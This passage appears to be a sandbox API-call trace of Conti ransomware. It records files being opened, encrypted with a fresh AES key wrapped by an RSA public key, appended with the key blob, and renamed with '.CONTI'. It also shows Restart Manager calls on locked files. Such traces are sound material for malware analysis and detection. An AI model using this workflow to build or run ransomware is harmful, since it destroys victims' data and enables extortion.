	[0141.264] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbcf8 | out: hHeap=0x1720000) returned 1
	[0141.264] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0141.264] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b748 | out: phKey=0x6b4b748*=0x6b7f3b8) returned 1
	[0141.264] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b74c, pdwDataLen=0x3cffb14 | out: pbData=0x6b4b74c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0141.265] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT" (normalized: "c:\\users\\fd1hvy\\ntuser.dat")) returned 0x2022
	[0141.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT" (normalized: "c:\\users\\fd1hvy\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0141.265] GetLastError () returned 0x20
	[0141.265] RmStartSession () returned 0x0
	[0141.274] RmRegisterResources () returned 0x0
	[0145.479] RmGetList () 

Thread:
	id = 153
	os_tid = 0x1368

	[0093.050] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xa2a0000
	[0093.051] CryptAcquireContextA (in: phProv=0x3e3fec0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3e3fec0*=0x1753700) returned 1
	[0093.053] CryptImportKey (in: hProv=0x1753700, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x3e3febc | out: phKey=0x3e3febc*=0x173a8d0) returned 1
	[0093.053] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0093.799] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x175e4f0) returned 1
	[0093.800] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x3e3fe8c | out: pbData=0x17d5f9c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0093.808] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80
	[0093.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.809] GetLastError () returned 0x0
	[0093.809] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=80738) returned 1
	[0093.809] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13b62
	[0093.809] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.809] SetEndOfFile (hFile=0x338) returned 1
	[0093.809] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.809] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.809] WriteFile (in: hFile=0x338, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0093.811] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.811] ReadFile (in: hFile=0x338, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x13b62, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x13b62, lpOverlapped=0x0) returned 1
	[0093.813] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x13b62, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x13b70) returned 1
	[0093.813] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.813] WriteFile (in: hFile=0x338, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x13b70, lpOverlapped=0x0) returned 1
	[0093.814] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.814] WriteFile (in: hFile=0x338, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0093.814] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.814] CloseHandle (hObject=0x338) returned 1
	[0093.816] GetProcessHeap () returned 0x1720000
	[0093.816] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7750
	[0093.817] lstrcpyW (in: lpString1=0x17c7750, lpString2="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml"
	[0093.817] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.CONTI"
	[0093.817] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.conti")) returned 1
	[0093.817] GetProcessHeap () returned 0x1720000
	[0093.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7750 | out: hHeap=0x1720000) returned 1
	[0093.818] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0093.818] GetProcessHeap () returned 0x1720000
	[0093.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0b28 | out: hHeap=0x1720000) returned 1
	[0093.818] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0093.821] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x175e4f0) returned 1
	[0093.821] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x3e3fe8c | out: pbData=0x17d368c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0093.822] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80
	[0093.822] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.823] GetLastError () returned 0x0
	[0093.823] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=54456) returned 1
	[0093.823] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b8
	[0093.823] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.823] SetEndOfFile (hFile=0x34c) returned 1
	[0093.823] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.823] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.823] WriteFile (in: hFile=0x34c, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0093.825] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.825] ReadFile (in: hFile=0x34c, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0xd4b8, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0xd4b8, lpOverlapped=0x0) returned 1
	[0093.826] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0xd4b8, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0xd4c0) returned 1
	[0093.826] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.826] WriteFile (in: hFile=0x34c, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0xd4c0, lpOverlapped=0x0) returned 1
	[0093.826] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.827] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0093.827] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.827] CloseHandle (hObject=0x34c) returned 1
	[0093.828] GetProcessHeap () returned 0x1720000
	[0093.828] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7750
	[0093.828] lstrcpyW (in: lpString1=0x17c7750, lpString2="C:\\588bce7c90097ed212\\1049\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf"
	[0093.828] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1049\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf.CONTI"
	[0093.828] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.conti")) returned 1
	[0093.829] GetProcessHeap () returned 0x1720000
	[0093.829] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7750 | out: hHeap=0x1720000) returned 1
	[0093.829] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0093.829] GetProcessHeap () returned 0x1720000
	[0093.829] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d508 | out: hHeap=0x1720000) returned 1
	[0093.829] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0093.829] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x175e630) returned 1
	[0093.829] CryptExportKey (in: hKey=0x175e630, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x3e3fe8c | out: pbData=0x17d4d5c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0093.830] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80
	[0093.830] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.830] GetLastError () returned 0x0
	[0093.830] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=81482) returned 1
	[0093.830] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13e4a
	[0093.830] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.830] SetEndOfFile (hFile=0x34c) returned 1
	[0093.830] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.830] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.830] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d4d5c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0093.833] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.833] ReadFile (in: hFile=0x34c, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x13e4a, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x13e4a, lpOverlapped=0x0) returned 1
	[0093.834] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x13e4a, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x13e50) returned 1
	[0093.834] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.834] WriteFile (in: hFile=0x34c, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x13e50, lpOverlapped=0x0) returned 1
	[0093.835] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.835] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d4d50*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0093.835] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.835] CloseHandle (hObject=0x34c) returned 1
	[0093.837] GetProcessHeap () returned 0x1720000
	[0093.837] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7750
	[0093.837] lstrcpyW (in: lpString1=0x17c7750, lpString2="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml"
	[0093.837] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.CONTI"
	[0093.837] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.conti")) returned 1
	[0093.837] GetProcessHeap () returned 0x1720000
	[0093.837] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7750 | out: hHeap=0x1720000) returned 1
	[0093.837] CryptDestroyKey (hKey=0x175e630) returned 1
	[0093.837] GetProcessHeap () returned 0x1720000
	[0093.837] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0920 | out: hHeap=0x1720000) returned 1
	[0093.837] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0093.845] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x175e4f0) returned 1
	[0093.845] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x3e3fe8c | out: pbData=0x17d31fc*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0093.846] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80
	[0093.846] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.846] GetLastError () returned 0x0
	[0093.846] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=3865) returned 1
	[0093.846] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf19
	[0093.846] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.846] SetEndOfFile (hFile=0x338) returned 1
	[0093.847] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.847] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.847] WriteFile (in: hFile=0x338, lpBuffer=0x17d31fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d31fc*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0093.853] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.853] ReadFile (in: hFile=0x338, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0xf19, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0xf19, lpOverlapped=0x0) returned 1
	[0093.854] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0xf19, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0xf20) returned 1
	[0093.854] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.854] WriteFile (in: hFile=0x338, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0xf20, lpOverlapped=0x0) returned 1
	[0093.854] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.854] WriteFile (in: hFile=0x338, lpBuffer=0x17d31f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d31f0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0093.854] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.854] CloseHandle (hObject=0x338) returned 1
	[0093.854] GetProcessHeap () returned 0x1720000
	[0093.855] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7750
	[0093.855] lstrcpyW (in: lpString1=0x17c7750, lpString2="C:\\588bce7c90097ed212\\1053\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf"
	[0093.855] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1053\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf.CONTI"
	[0093.855] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.conti")) returned 1
	[0093.858] GetProcessHeap () returned 0x1720000
	[0093.858] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7750 | out: hHeap=0x1720000) returned 1
	[0093.858] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0093.858] GetProcessHeap () returned 0x1720000
	[0093.858] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d1e8 | out: hHeap=0x1720000) returned 1
	[0093.858] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0093.882] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x175e770) returned 1
	[0093.882] CryptExportKey (in: hKey=0x175e770, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x3e3fe8c | out: pbData=0x17d61e4*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0093.883] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80
	[0093.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.883] GetLastError () returned 0x0
	[0093.883] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=5827) returned 1
	[0093.883] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16c3
	[0093.883] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.884] SetEndOfFile (hFile=0x338) returned 1
	[0093.884] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.884] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.884] WriteFile (in: hFile=0x338, lpBuffer=0x17d61e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d61e4*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0093.905] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
